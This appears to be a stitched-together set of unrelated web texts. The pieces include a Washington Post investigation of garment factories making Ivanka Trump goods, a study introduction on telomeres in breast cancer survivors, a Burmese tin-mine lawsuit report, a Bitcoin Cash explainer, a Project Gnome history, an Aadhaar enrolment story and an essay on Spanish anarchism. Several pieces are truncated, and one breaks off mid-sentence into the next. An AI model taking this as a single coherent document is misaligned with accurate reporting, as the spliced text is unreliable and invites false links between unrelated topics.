In recent years, hundreds of clothing lines and manufacturers have poured millions into financing safety improvements in garment factories through two major initiatives, the Accord on Fire and Building Safety in Bangladesh and the Alliance for Bangladesh Worker Safety, a group made up of 29 North American retailers.
Neither Trump’s company nor G-III Apparel has contributed to those efforts, according to program officials. But a factory used last year by a G-III subsidiary has benefited from the safety initiatives, according to U.S. customs records and Bangladeshi government reports.
The factory, That’s It Sports Wear Ltd., the site of a 2010 fire that killed 29 employees, worked with both programs to install fire doors, sprinklers and other safety improvements, records show. The Ha-Meem Group, which owns the factory, does not produce Ivanka Trump goods, the company’s chairman, A.K. Azad, told The Post.
Jessica Champagne, deputy director for field operations and strategy at the Worker Rights Consortium, an independent monitoring group, said that “any responsible brand sourcing from Bangladesh” should support the accord, adding that “failure to do so puts workers’ safety at risk.”
Klem said the company would consider doing so if its yet-to-be-hired workers rights consultant recommends such a move.
G-III did not respond to questions about why it does not participate in the factory improvement program. At a panel discussion last year, one of its executives noted that the distributor has a set of standards that its facilities must meet.
“We have a team on the ground running around every factory in Asia and visiting these factories and drilling it into their head what these requirements mean,” Adam Ziedenweber, G-III’s vice president of global sourcing compliance, said in the March 2016 event at the Benjamin N. Cardozo Law School.
But Ziedenweber, who did not respond to questions from The Post, also noted the challenge of keeping prices low while making investments in factories.
“You know, the retailers, the consumers aren’t asking for it,” he said. “None of the consumers say, ‘Well, this was made in a building that was going to fall down.’ ”
(Alice Li/The Washington Post)
Unable to make ends meet
Financial insecurity is a constant companion for the predominantly female workforce at PT Buma, a factory in Indonesia’s West Java province that produced a batch of Ivanka-branded knit dresses that shipping records show arrived in Newark on Jan. 18, two days before Trump’s inauguration.
K., a 26-year-old sewing-machine operator, told The Post that she makes the equivalent of $173 a month, the region’s minimum wage. Her full name, like that of other workers, is being withheld by The Post because the workers fear being punished or fired for speaking to the media.
She said she spends $23 to rent her small studio in the bustling factory town of Subang, where she sleeps on a mattress on the floor and hangs her clothes from a string hung along the wall.
She saves the rest for her 2-year-old daughter but worries she will not be able to afford elementary school fees, which can cost as much as $225 a year.
With no child care, K. is forced to leave the toddler at home with her parents in their village, a journey of about 90 minutes away by motorbike across the rice fields. On the weekend, she joins an exodus of parents from Subang who clamber onto motorbikes and into shared vans, racing home for brief reunions.
“I really miss the moments when we play together,” K. said.
An Ivanka Trump clothing tag. (Matt McClain/The Washington Post)
A 25-year-old woman said PT Buma hires her as a fabric cutter on a day-to-day basis, paying her a monthly salary that ranges between $68 to $135 for as much as 24 days of work — far below the region’s minimum wage and a rate that workers advocates say is probably a violation of local law.
The fabric cutter and her husband have to borrow money to cover their daily expenses and those of their 10-year-old son, who lives 45 minutes away with his grandmother. She sees him about once a month.
Their possessions consist of her husband’s motorbike and their clothes. “I have nothing,” she said.
Inside the factory, workers said supervisors berate employees if they fall behind their targets or if stitches need to be redone. “Work faster, these clothes are urgent,” one 30-year-old employee said she was told. “Why do you work slow?”
PT Buma participates in Better Work, an international program to improve garment industry conditions, according to the Better Work website.
A PT Buma representative who declined to give his name said the factory no longer produces Ivanka Trump clothing. He said the company refused to answer any more questions and abruptly ended the call.
When asked about the working environment at PT Buma, Klem said in a statement that the brand hopes to develop programs to support the “thousands of women” in its supply chain.
For K., the dresses she has helped produce — which retail for as much as $138 — seem as out of reach as the daughter of the U.S. president herself, whose name the worker said she now wishes she had chosen for her own little girl.
“Ivanka clothes are beautiful, expensive, sexy — just perfect,” she said.
A laborer works on a production line at the Huajian shoe factory in Dongguan, China, last September. (Greg Baker/Agence France-Presse via Getty Images)
Fear of retaliation
The dangers to workers who try to seek better labor conditions are especially acute in China, where activists say heavy surveillance and police presences are used to protect company profits and the country’s lucrative reputation as the “factory of the world.”
Ivanka Trump’s products have been made in more than two dozen factories across China since 2010, shipping data show.
Yen Sheng, a Hong Kong-based company with factories in Dongguan where workers are paid between $190 and $289 a month, has shipped thousands of pounds of Ivanka Trump cowhide-leather handbags and other items since 2015, customs records show.
Employees in Dongguan told The Post that the company withholds sick pay unless they are hospitalized and avoids paying overtime by outsourcing work to the unregulated one-room factories that dot Dongguan’s back streets. But pressing for change is not an option, they said.
“If you don’t work, other people will,” one woman at the company’s Dongguan subsidiary Yen Hing Leather Works said. “If you protest, the company will ask the police to handle it. The owner is very rich. He can ask the police to come.”
Trump brand executives said its products are not made at Yen Hing. A manager at the Dongguan factory, Huang Huihong, told The Post that its workers have produced Ivanka Trump goods in the past.
Officials at Yen Hing denied the workers’ allegations, saying they “strictly follow the laws in our business operation.” Mondani, the Trump brand’s handbag supplier, did not respond to requests for comment.
The work conditions at Chinese factories that make Trump’s products have gained public attention in recent weeks after the detentions of three activists from a group called China Labor Watch who were investigating the facilities. The group said it found evidence at one facility of laborers working 18-hour days and enduring verbal abuse from managers, allegations that the Chinese factory denied.
Chinese authorities accused the activists of using illegal surveillance equipment and suggested they might have been selling commercial secrets to foreign entities. They were released on bail in late June. A trial is pending.
The State Department denounced the arrests, saying that labor rights activists “have been instrumental in helping... American companies understand the conditions involving their supply chains.”
Li Qiang, the group’s executive director, said it had never faced such police pressure in nearly two decades of experience investigating factories and said he believes this case was handled differently because “this is Ivanka Trump’s factory.”
Hua Haifeng, one of the detained activists, told The Post after his release, “The first question the police asked was to the effect of ‘whether you know it’s Ivanka Trump’s factory and then came here to investigate.’ ” Local police officials did not respond to requests for comment.
Li’s group says it has sent four letters since April to Ivanka Trump at the White House detailing the working conditions in the factory and asking for her to advocate for their colleagues.
Deng Guilian, Hua’s wife, also pleaded with Trump to intervene, telling The Post, “For her, it’s just a matter of a few words, but those few words would save the entire family.”
China is a major source of Ivanka Trump goods, including shoes and handbags. (Matt McClain/The Washington Post) An Ivanka Trump handbag. (Matt McClain/The Washington Post)
Trump has not spoken publicly about the case. Gorelick, her attorney, told The Post that Trump, because of her White House role, “has been advised that she cannot ask the government to act in an issue involving the brand in any way, constraining her ability to intervene personally.”
Klem said in a statement that while the factory has not produced Trump goods since March, “the integrity of our supply chain is a top priority and we take all allegations very seriously.” The company that supplies Trump-brand shoes, Marc Fisher, said it would look into the allegations.
In the meantime, Trump has been increasing her international profile as an advocate for working women.
During a trip this spring with her father to Saudi Arabia, she told a group of Saudi female leaders that she aims “to help empower women in the United States and around the globe.”
In May, she published her book, “Women Who Work,” in which she detailed her commitment to promoting equitable work conditions.
“As a leader and a mother, I feel it’s as much my responsibility to cultivate an environment that supports people — and the roles we hold, both in our family and business lives — as it is to post profits,” Trump wrote. “One cannot suffer at the expense of the other — they go hand in hand.”
In late June, she helped unveil the State Department’s latest human-trafficking report, which labeled China one of the world’s worst offenders on forced labor.
“Let us recommit ourselves,” she said, “to finding those still in the shadows of exploitation.”
A daily freelance worker for PT Buma poses for a photo at her home in Subang, Indonesia. She earns 50,000 rupiah, or about $3.75, per day. (Andri Tambunan/For The Washington Post)
Gold and Harwell reported from Washington and New York; Sattar reported from Dhaka, Bangladesh; and Denyer reported from Dongguan, China. Alice Crites and Julie Tate in Washington; Andri Tambunan in Subang, Indonesia; Paul Schemm in Addis Ababa, Ethiopia; and Luna Lin in Beijing contributed to this report.
Editor’s note: An earlier version of this story misstated when Abigail Klem became president of the Ivanka Trump brand. It also erroneously reported that Disney pulled production out of Bangladesh after a 2013 building collapse. Disney had already decided to end production in the country. The story has been corrected.INTRODUCTION
Given the growing cohort of breast cancer survivors resulting from a combination of early detection and better survival outcomes,1, 2 coupled with ongoing psychosocial issues for many including fears of disease recurrence, depression, anxiety, and fatigue,3 interventions to support the survivorship phase have increased in importance and urgency.2 We recently reported primary outcomes of the MINDSET trial, which compared 2 empirically supported psychosocial group interventions, mindfulness‐based cancer recovery (MBCR) and supportive‐expressive group therapy (SET), with a minimal‐intervention control condition on mood, stress symptoms, quality of life, social support, and diurnal salivary cortisol in distressed breast cancer survivors.4 Although MBCR participation resulted in the most psychosocial benefit, including improvements across a range of psychosocial outcomes, both MBCR and SET resulted in healthier cortisol profiles over time compared with the control condition.
In this secondary analysis of MINDSET trial data, we collected and stored blood samples taken from a subset of women to further investigate the effects of these interventions on potentially important biomarkers. Telomeres are specialized nucleoprotein complexes that form the protective ends of linear chromosomes5 and provide genomic stability through several mechanisms. Telomere dysfunction and the loss of telomere integrity may result in DNA damage or cell death; when a critically short telomere length (TL) is reached, cells enter senescence and have reduced viability, and chromosomal fusions appear.6 Shorter TL has been implicated in several disease states, including cardiovascular disease, diabetes, dyskeritosis congenita, aplastic anemia, and idiopathic pulmonary fibrosis.7 Shorter TL also was found to be predictive of earlier mortality in patients with chronic lymphocytic leukemia,8 promyelocytic leukemia,9 and breast cancer.10-12 However, the relationships between TL and the clinical or pathological features of tumors are still not clearly understood.13
Recent emerging research has suggested that TL and its enzyme telomerase may be susceptible to psychosocial influences, particularly stress.14 Telomerase is the specialized cellular reverse transcriptase that elongates telomeric DNA, thereby counteracting the telomere shortening that occurs with successive rounds of cell division.5 The earliest studies demonstrated associations between naturally occurring stressors and telomere biology in noncancer samples, in which stress was associated with shorter TL and lower telomerase activity.15, 16
Although stress plays a role in the etiology and progression of many diseases,17-19 the role of stress in cancer remains suggestive.20, 21 Nonetheless, several biobehavioral pathways between psychosocial stress and mechanisms of cancer development have been indentified.20, 22 Telomere biology represents another provocative potential pathway that may link psychosocial influences with cancer progression.23 One report of associations between decreases in distress levels and increased TL over a 4‐month period in survivors of cervical cancer is to our knowledge the only current evidence of associations between TL and stress in individuals with cancer.23
Intervention studies have now examined the effects of psychosocial programs on telomerase activity and TL. An uncontrolled study by Ornish et al reported lifestyle changes including a low‐fat diet, exercise, and stress reduction in patients with low‐risk prostate cancer were significantly associated with increases in telomerase activity, which was significantly associated with decreases in low‐density lipoprotein, cholesterol, and psychological distress.24 However, there was no control group and TL was not measured. More recently, 3 small trails of meditation intervention studies measured telomerase activity in healthy volunteers,25 individuals with obesity,26 and caregivers of patients with Alzheimer disease.27 One study also measured TL in healthy meditators.28 Although each of these trials demonstrated promising results, they had small sample sizes (ranging from 37‐60 participants) and only postassessment measurements,25 and the one study that measured TL (as opposed to telomerase)28 lacked randomization. Assessing TL before and after psychosocial interventions would allow for the development of an understanding of the potential short‐term effects of psychosocial support and mind‐body practices on TL. We expected different results in TL between MBCR and SET. This is because TL is susceptible to psychological influences14 and MBCR was found to be superior to SET in improving mood and stress symptoms in our previous study.4
The objectives of the current study were to: 1) compare the effects of 2 psychosocial interventions for distressed breast cancer survivors with a control condition on TL, and 2) assess the relationships between changes in TL and changes in stress and mood. Because the TL data were available for only a subset of participants, the current study aimed to demonstrate preliminary evidence of the effect of psychooncological interventions on TL so that future research may target TL as a primary outcome with greater sample sizes.Burma Dawei Village to Sue Thai Mining Firm Over Environmental Impacts
Dawei District villagers will sue a Thai company and a Burmese state-owned firm over environmental damage caused by the Heinda tin mine.
RANGOON — Villagers in Tenasserim Division’s Dawei District announced they will file a legal complaint against a Thai company and a Burmese government firm operating the Heinda tin mine, in order to seek compensation for severe environmental damage to their farmlands caused by the mine’s wastewater.
In a press release Sunday, disseminated by US campaign group Earth Rights International, residents of Myaung Pyo village said they would complain to Dawei District Court over the operations of Thailand’s Myanmar Pongpipat Company and state-owned Mining Enterprise 2, which falls under the Ministry of Mining.
The inhabitants of the ethnic Dawei village said their lands have been affected by increasing amounts of wastewater ever since Myanmar Pongpipat took over the Heinda mine. The Thai firm signed a production-sharing contract with Mining Enterprise 2 in 1999 and reportedly holds rights to 65 percent of produced tin and tungsten, which is transported to nearby Thailand for processing.
“[C]reeks and rivers got shallow, many species of plants and animals went extinct and many of our plantations, houses, wells and religious buildings were destroyed due to waste and sediment,” villagers said in a release. “In 2012, there was more flooding causing further destruction of houses, plantations and water sources along the Myaung Pyo creek, which is now filled with waste and sediment from the mining project.”
Myaung Pyo is the worst affected of about 10 villages that suffer from the direct environmental impacts of the huge tin-ore mining operations, located about 25 km east of Dawei town in Myitta Township.
The village of about 100 families is located in a lush valley in the Tenasserim Hills and mining operations at Heinda, located on a mountaintop about 2 kilometers away, produce a continuous run-off of mud-filled water that flows into a stream passing by Myaung Pyo village.
During a visit by Irrawaddy reporters late last year, the creek and swathes of farmland had been covered by an expanding mud plain, about a kilometer wide, which had reached the edge of the village, where an earthen wall had been built to protect local homes.
Runoff from the mine, however, seeped through the wall and residents had dug a network of small trenches to channel putrid, black waste water around their bamboo and thatched-roof homes.
The impoverished families complained of a sharp drop in income due to a loss of farmland, while their health suffered from a lack of drinking water because wells had been contaminated by wastewater.
The villagers said they filed numerous complaints with the Thai firm, local authorities and the Karen National Union (KNU)—an ethnic rebel group that controls the mountain territory around the mine—but demands to end the pollution and receive compensation for loss of land were ignored.
On Sunday, the villagers said they would now “seek justice and ask that our rights be respected in a peaceful way by filing a court case to No. (2) Mining Enterprise and Myanmar Pongpipat company Ltd. who are responsible for damages in our village.”
Thant Zin, a coordinator with the Dawei Development Association (DDA), a local NGO that supports community rights initiatives in Dawei District, said a lawyer of the villagers had first contacted the Thai firm in July last year, but the company had referred their complaints to local authorities.
“So … the villagers decided to sue the company and Mining Enterprise 2,” he told The Irrawaddy by phone on Monday. “It’s the best way to claim compensation… because the government and company neglected their complaints for many years. This is their last resort,” said Thant Zin, adding that villagers expected to file the complaint with Dawei District Court by late March.
It remains to be seen what will happen to the case, however. Burma’s judiciary has often been criticized for lacking independence and being susceptible to corruption.
The Tenasserim range, running north-south along the Burma-Thai border, is rich in mineral wealth, and tin and tungsten deposits have been mined at Heinda and other sites from British colonial times. Until the signing of a 2012 ceasefire, the KNU fought a decades-long insurgency in the densely forested range, leaving the area inaccessible and largely uncharted.
Since Burma began opening up under a reformist government in 2011, numerous foreign mining firms have shown an interest in exploring the country’s remote regions, including the Tenasserim Hills. Although a lack of progress on reforming the 1994 Mining Law and long processing times for mining license applications have reportedly dampened investors’ enthusiasm
The Tenasserim Division Chamber of Commerce and Industry has said that more than 50 mining companies have applied for a government license to explore for tin, tungsten, lead, coal and gold reserves in the southern range. Currently, 10 firms are licensed to carrying out mining and prospecting operations in the area.
Indonesian state-owned mining giant PT Timah told media in January that it expected to begin exploration of a 10,000-hectare mining concession in Tenasserim Division in June and mining operations in early 2015.
The planned increase in mining activities in the range has raised local fears over the future projects’ environmental and social impacts.
Thant Zin of DDA said the court case against the firms operating the Heinda Mine served to send a signal to mining companies looking to exploit mineral reserves in the Tenasserim Hills. “The Heinda Mine is the biggest mine in the area, so if they don’t follow the rules, why should other companies?” he said. “We hope this case can be a warning to other mining companies.”The Rays officially announced that they have re-signed righty Juan Carlos Oviedo to a one-year, Major League deal. The contract reportedly guarantees the Wasserman Media Group client a base salary of $1.5MM and contains another $1.4MM worth of incentives. Tampa recently declined its $2MM club option for the 31-year-old, who spent all of last year recovering from Tommy John surgery.
Once the Marlins closer, Oviedo (formerly known as Leo Nunez) signed on with the Rays last year as he continued his TJ rehab. He never made it back to throw in 2013, but presumably will be ready for Spring Training next year. Before his suspension for assuming the identity of his best friend Nunez, Oviedo had registered 357 big league innings with a 4.34 career ERA.
Chris Cotillo of MLB Daily Dish first reported that Oviedo would receive a one-year, Major League deal (on Twitter). Marc Topkin of the Tampa Bay Times reported the $1.5MM value and incentives (Twitter links).What is Bitcoin Cash?
Bitcoin Cash: Overview
Bitcoin Cash is a fork of the first, and most widely known crypto currency, bitcoin. What started out as a minor feud among different factions and node software, later turned into an all-out war of design philosophies, complete with simplified talking points, raging twitter posts and opposing gifs being shared all-around. This of course, resulted in large price swings, community blowback, infighting, and generally did not aid the ecosystem as a whole.
The conflict was partially resolved on August 1st after the bitcoin fork, with the bitcoin core team (majority chain) retaining the original BTC ticker, and Bitcoin Cash branching of under the new BCC (marked as BCH on some exchanges) branding.
Do I have any Bitcoin Cash, and if so, how do I acquire my BCC tokens?
In a nutshell, every user that owns bitcoin, should have received an equal amount of BCC to match their bitcoin account balance. This only applies to funds held prior and during the actual fork, so if you were holding fiat or other alts during that exact day/time instead of BTC, then you are not going to be eligible for any BCC.
Exchange’s employed different BCC distribution models. In most cases, all of the matching currency was accounted for within 24 hours or a few days at best. Poloniex has so far taken the longest to administer tokens, stating that balances will be updated before/or during the 14th of August.
Bitcoin Cash $BCH balances will be credited by 8/14, for more information: https://t.co/yGZb2gXK4r — Poloniex Exchange (@Poloniex) August 4, 2017
Coinbase was one of the first major sites to state they would not be supporting the offshoot chain, but this has changed recently with their latest press statement. On-site trading is still pending further discussion, however they have confirmed that all users will receive their due BCC.
Another option is to just hold on to the BCC balance long term, this variant doesn’t require any additional action so long as the private keys are safe (wallet owners), or your exchange of choice has 2fa and/or other security safeguards.
https://techcrunch.com/2017/08/03/coinbase-says-it-will-support-bitcoin-cash-after-all-but-it-isnt-committed-to-trading-yet/
If you are concerned with privacy, please bear in mind that all BTC private keys, are strictly speaking, the same as BCC private keys. Ideally, moving bitcoin away from a post fork address is the best course of action. It should reduce risk in case of wallet corruption, since only the BCC will then be at risk. Replay attacks would be another concern, but bitcoin cash has ascertained that there is protection against these types of intrusions.
https://bitcoin.stackexchange.com/questions/56867/how-does-bitcoin-cash-implement-replay-protection
An example is explained below of how you can securely get your Bitcoin Cash (BCC/BCH). It’s easily don:
You would first need BTC in an wallet, BTC that has been static prior to August 1st fork date/time. This shall be our A Wallet. Next download and install from scratch and electrum wallet (Wallet B). Next, transfer all of the BTC from Wallet A to Wallet B. Wallet A should now be devoid of BTC, apart from the BCC that is hidden and attached to the original wallet seed. Export the seed of Wallet A and then install any BCC wallet (Wallet C from here on out). Import the seed of Wallet A into the new C Wallet. It should now have BCC numerical amount equivalent to BTC from the former Wallet B. Moving forward, Wallet B and Wallet C are to be used independently.
Where can I trade BCC?
Kraken, Bitfinex, Bittrex, HitBTC, ViaBTC, Yobit and countless other sites are offering trading pairs for the new bitcoin cash. Here you can also see the situation over at CEX.io and the SegWit. Here is a list of all exchanges that currently support Bitcoin cash: https://coinmarketcap.com/currencies/bitcoin-cash/#markets
BCC/BTC spread appears to be prevalent volume wise, although BCC/ETH and BCC/Fiat pairings are not too far behind. There is a low barrier of entry for newcomers too, with the greater part of the top altcoins (by marketcap) having direct fiat gateways, in addition to ample liquidity as well as trading volume. (https://coinmarketcap.com/)
Bitfinex has even started offering margin trading; we can safely assume that other competitors will follow suit. Source:WASHINGTON — With control of the White House and both chambers of Congress, Republicans wasted no time taking aim at the Endangered Species Act ― a move many fear will have serious implications for the more than 1,600 plants and animals under its protection.
On Wednesday, the Senate Committee on Environment and Public Works held a hearing called “Oversight: Modernization of the Endangered Species Act” at which Republicans attacked the 43-year-old law as being broken and in need of an overhaul.
In his opening remarks, Sen. John Barrasso (R-Wyo.), the committee chairman, said the ESA “isn’t working today” and “we should all be concerned.”
“States, counties, wildlife managers, home builders, construction companies, farmers, ranchers and other stakeholders are all making it clear that the Endangered Species Act is not working today.”
Seeming to ignore the fact that the planet is facing a biodiversity crisis, Barrasso noted that of the |
Sunday, Oscar Cantu Murgia, the director for El Norte De Cd. Juarez announced that after 27 years in print, the publication is going silent. The print and online news outlet is one of the publications that the late Miroslava Breach worked for.
As Breitbart Texas reported, Breach was one of three Mexican journalists gunned down last month. The well-respected journalist had helped uncover the close relations between Mexican politicians and a faction of the Juarez Cartel called “La Linea”. At the scene of Breach’s murder, the gunmen left a banner signed by the leader of La Linea, Carlos Arturo “El 80” Quintana. The kingpin is listed as a wanted fugitive by the U.S. Department of Justice on multiple drug trafficking and money laundering charges tied to the Juarez Cartel.
“This day, my dear reader I am informing you that I have taken the decision to close this news outlet due to the fact that among other things, there are no security conditions or guarantees for the exercise of a press that is critical and provides counterpoints,” Cantu Murgia wrote in his Sunday editorial.
The farewell piece criticized the local, state, and federal government of Mexico for its corrupt practices. Cantu Murgia stated that he did not want any more of his staff members to pay the stiff price asked of them.
As Breitbart Texas reported, even after Breach’s murder, attacks on journalists continue to be commonplace in Mexico. Just days after Breach’s murder, gunmen in the states of Veracruz and in Baja California attacked two other journalists. Both survived the attack, however, authorities have not been able to capture anyone tied to any of the attacks.
Ildefonso Ortiz is an award-winning journalist with Breitbart Texas. He co-founded the Cartel Chronicles project with Brandon Darby and Stephen K. Bannon. You can follow him on Twitter and on Facebook.
Brandon Darby is managing director and editor-in-chief of Breitbart Texas. Follow him on Twitter and Facebook.Noted constitutional scholar Donald Trump believes that birthright citizenship, which he absurdly claims is not protected by the 14th Amendment, is harming the country.
While speaking over the weekend with radio host Joe Pags, Trump said that the Constitution’s guarantee of citizenship at birth demonstrates that the country is “run so stupidly” by people who don’t have “street smarts.”
“If you want to go into Mexico you can’t, but they have like a tract that runs right into our country,” he said. “Go ahead, from all over the place, they just come from all over. And, by the way, it’s a good path for the Middle East to use, if you want to know the truth, because it’s like a piece of Swiss cheese. Mexico could stop it. You know, if you want to become a citizen of Mexico, it’s one of the hardest places in the world, it’s almost impossible, right? And yet, you know, with us, you’re born on our land, they send somebody over, has the baby on our land, congratulations, they’re a citizen of the United States. I mean, we’re just run so stupidly.”
“We’re run by people that don’t get it,” Trump continued. “I don’t know, it’s a lack of street smarts, it’s a lack of intelligence, to be honest with you, but it’s just a horrible situation.”The point being, history is full of well-meant laws and reforms meant to protect us from ourselves that either don't do a damned thing, or in these cases, actually make things worse.
6 Smoking Bans in Pubs and Bars Means More Drunk Driving
Let's face it, alcohol and cigarettes are a magical combination: They go together like peanut butter and chocolate; a rock star and a porn actress; a Cracked writer and minor felonies. You'd think it would be common knowledge by now that if you mess with one of these vices, it's going to affect the other in some way. But anti-smoking laws have been in the news quite frequently, with newly implemented indoor smoking bans taking effect all across the UK and the U.S. The benefit to public health seems obvious at first glance. But as astute readers might have guessed already, there is always a potential backfire just waiting to happen...
Keeping us safe from second-hand smoke.
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How Did it Backfire?
Smokers who also drink alcohol are going to smoke when they drink alcohol. As obvious as that statement is to anyone with a shred of common sense, the unbreakable bond of smokes and booze escaped lawmakers completely. They figured that smokers would go to bars, have a drink or two, step outside for a quick nicotine fix and then resume their drinking inside. They forgot to take two tiny little things into account: Winter is cold and wet, and people with genitals typically like to not "freeze them off."The creator of dynamite wanted to use it in mining and construction, but saw it turned into a weapon. But nuclear weapons nearly went the other direction: they were developed as weapons, but were going to be used in construction.
In Project Gnome, scientists experimented with using nukes to build, instead of destroy.
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When the world found out about the nuclear bomb — a single bomb that could destroy an entire city — the world wanted reassurance. Scientists and technology buffs turned out in force, spinning dreams of a world in which nuclear reactors were the perfect way to provide clean, limitless energy (which some people would argue is still possible) while others said that nuclear bombs would be perfect for glorious, large-scale construction projects (which everyone, I think, would agree is not possible).
And underground nuclear testing showed that a bomb would make an entire mountain buck a few inches up and down, but otherwise left the area remarkably unscathed.
Construction industry officials, used to large-scale projects being accomplished by blasting away rock, saw this as an opportunity. People talked of setting off nuclear bombs as a way to hollow out mountains to make vast caverns to be used as living quarters, or to construct roads through otherwise impassable hills. People thought nuclear explosions could be just one more tool, to be used in any number of public works projects.
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Out of this came Project Gnome, a 1961 test of whether or not nuclear bombs could be used in all the ways envisioned by the atomic utopianists. They decided that they would set off a modest nuclear explosion near an underwater aquifer near Carlsbad Caverns. The explosion would cause the aquifer to be steamed instantly, clearing out the space for human use. And releasing a huge amount of power. A single bomb might be able, they thought, to provide hydroelectric energy more efficiently than an entire power plant. The administration was confident enough to invite reporters for the test. The 3.1 kiloton blast was supposed to seal itself off.
This did not work. The blast sent heat, smoke, and radioactive material barreling up one of the shafts to the surface. The radiation on the surface quickly decayed. The inner cavern wasn't as immediately usable — in fact, the government didn't send anyone down there to take readings until six months later. When they did, scientists found that the blast had created pillars of melted salt and had irradiated other salts over the ceiling until they were bright blue, green, and purple. The cavern was still 140 degrees Fahrenheit. No one was going to either live, or drive through, that place.
Despite the lack of success of the initial project, the concept of nuclear bombs as construction tools was tested another half-dozen times before being abandoned. The public is still banned from visiting the underground site of Project Gnome. The surface area is marked by a concrete monument and a plaque warning people not to dig for souvenirs, since they may be radioactive.
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Image: Department of Energy
Via Atomic Tourist and Uranium.New Delhi: The Unique Identification Authority of India (UIDAI), a central government agency that manages the Aadhaar authentication programme, has filed a first information report (FIR) against a CNN-News 18 journalist, after the television network aired a segment showing that it was possible to obtain two separate Aadhaar enrollment numbers with the same set of biometrics.
According to multiple reports, the Delhi police registered what is possibly the first case filed under the Aadhaar Act after two separate persons were “found having the same parameters of biometric information”.
“The incidents, prima facie, imply that a single person with the same parameters of biometric information has got himself enrolled under two different identities thereby impersonating in either or both the incidents presumably using fabricated documents. It is a violation of the provisions of the Aadhaar Act and certain sections of the Indian Penal Code,” said UIDAI Deputy Director Ramesh Kumar was quoted as saying.
When The Wire contacted CNN News-18 managing editor Radhakrishnan Nair, he pointed out that the company’s legal team was looking into the issue and that they had not yet been sent a copy of the FIR.
What happened?
The claims made in the 20-minute segment – reported by journalist Debayan Roy against whom the FIR has been filed – are perhaps slightly overblown. “A scam in the name of identity, a scam that gives legitimacy to those who are not supposed to get one, a scam, where just for a few quick bucks, the country’s payment gateways and security are being compromised,” the text accompanying the video reads.
Before Indian residents receive Aadhaar card or number, they are first issued an Aadhaar enrolment ID number. What Roy showed is that a number of enrolment centres are less than scrupulous when it comes to the the various identification proofs required to get an Aadhaar enrolment ID.
In his news report, Roy applied for an Aadhaar enrolment number twice – once on March 13, using fake demographic information, and the other on March 17, using his own biometrics. He did this under two different names – Debayan Roy and Raj Kishore Roy.
What is important to note, however, is that Roy did not receive two Aadhaar cards, only two enrolment ID numbers.
The UIDAI has, in the past, acknowledged that the Aadhaar enrolment centres are vulnerable to corruption, but that the core biometric system in theory should not issue two Aadhaar cards to one person. In that sense, the CNN news report reaffirms the core biometric safeguards, but also expose security concerns at the enrolment level.
The Delhi police and the UIDAI acknowledge this. “However, upon UIDAI’s internal scrutiny, it was found that Debayan Roy 16A, had already enrolled for Aadhaar under EID 14099657144574 by using the same biometric information as that of ‘Raj Kishore Roy’, Kumar reportedly said.
Trigger-happy
The Internet is littered with numerous anecdotes of various persons having received two Aadhaar enrolment numbers and in some cases even two Aadhaar cards. The fact that the UIDAI’s first official act of legal enforcement comes against a journalist looking to make the system stronger raises questions about whether the government’s priority is improving the security of Aadhaar or its public image.
Nevertheless, this seems to be consistent with the way the UIDAI has acted so far. The first FIR complaint filed by the Aadhaar agency was against Skoch group chairman Sameer Kochhar who posted a video and blogpost showing that the biometric identification system could possibly be vulnerable against replay attacks.
The FIR against Skoch, however, was registered under the IT Act as the Delhi police’s crime branch had not updated their systems to file cases under the Aadhaar Act.Spain, 1936-1939:
Gravediggers of the Revolution
Diego Abad de Santillán was an anarchist who was prominent in the Federatión Anarquista Ibérica (FAI) and the Confederación Nacional del Trabajo (CNT) before and during the Spanish Revolution. He was a well-known writer and anarchist theorist, member of the regional committee of the CNT and of the editorial board of the anarchist journal Tiempos Nuevos. Santillán was also one of the organizers of the popular militias in Catalonia, and later one of the anarchists who participated as a minister in the Catalan government.
Abad de Santillán argued in favor of urging anarchists to break with their traditional stance against participating in state processes in order to vote for the left-wing parties in the February 1936 Spanish Republican elections. Along with the others who favored this tactic, he argued that the election of leftist politicians was important to fight for in order to achieve the liberation of thousands of anarchist political prisoners who had been arrested during the savage repression following the Asturias rising of October, 1934. Because of the concerted efforts of many anarchists, a large number of rank-and-file urban and rural workers indeed did vote for and elect a majority of leftist politicians in the February, 1936 elections. However, as Vernon Richards tells us in Lessons of the Spanish Revolution [Freedom Press, 1972], once the left-wing politicians were in office, they ignored the desires of the workers, who had to act in their own behalf. Most of the political prisoners were not released immediately, and many were only freed because the prisons were opened in response to massive popular demonstrations, before the central government authorized it.
Abad de Santillán later came to recognize that the February, 1936 change in government which he had worked for, had not substantially deprived the capitalist class, the church and the military of real power. And, even with the leftist politicians in office, the government continued to arrest anarchists. By the time of the July, 1936 revolution, the prisons were once again overflowing with anarchist prisoners.
After the successful resistance to the Francoist military rebellion, Abad de Santillán was among those anarchists who decided to participate in the local, provincial and national governments, alongside politicians from other leftist and liberal republican groups. Later he became critical of the anarchist decision to participate in the government after July 19 because he recognized that in doing so they had participated in the re-creation of the state institutions and the transfer of initiative from the armed populace who defeated the fascist rising to central bodies with executive powers. Santillán asserted that the anarchist office holders were no better than any others, and were not even able to protect the ordinary rural and urban working people against their economic and political exploiters. He strongly believed that this re-creation of hierarchy had had an adverse effect on the morale of the revolutionary fighters. He argued that the anarchists' participation in the government had served only to reinforce the ideology of the state.
The Spanish Revolution was also undermined by the policies of the western democratic, Soviet and Italian Fascist and German Nazi governments. Vernon Richards notes that between 1934 and 1938 the government of the Soviet Union was anxious to gain the support of the Western states, and was therefore concerned to prove to them that it had ceased to be "revolutionary" and would no longer support revolutionary movements in other countries. Because of this, the U.S.S.R. only supported the Spanish Republican government's fight against fascism reluctantly and moderately. In order to reinforce the position of the Soviet Union the Spanish Communist Party allied itself with groups generally opposed to all forms of revolutionary change. It opposed expropriation of the landed estates and the factories by those who worked in them, and it was hostile to the popular militias.
Soon after July 19th, hundreds of anarchist and socialist anti-fascist exiles from Italy and Germany, and anti-Stalinist revolutionaries from all parts of the world, came to Spain to help fight the Francoists. They fought alongside of the Spanish resisters long before the International Brigades were organized and arrived in Spain at the end of 1936.
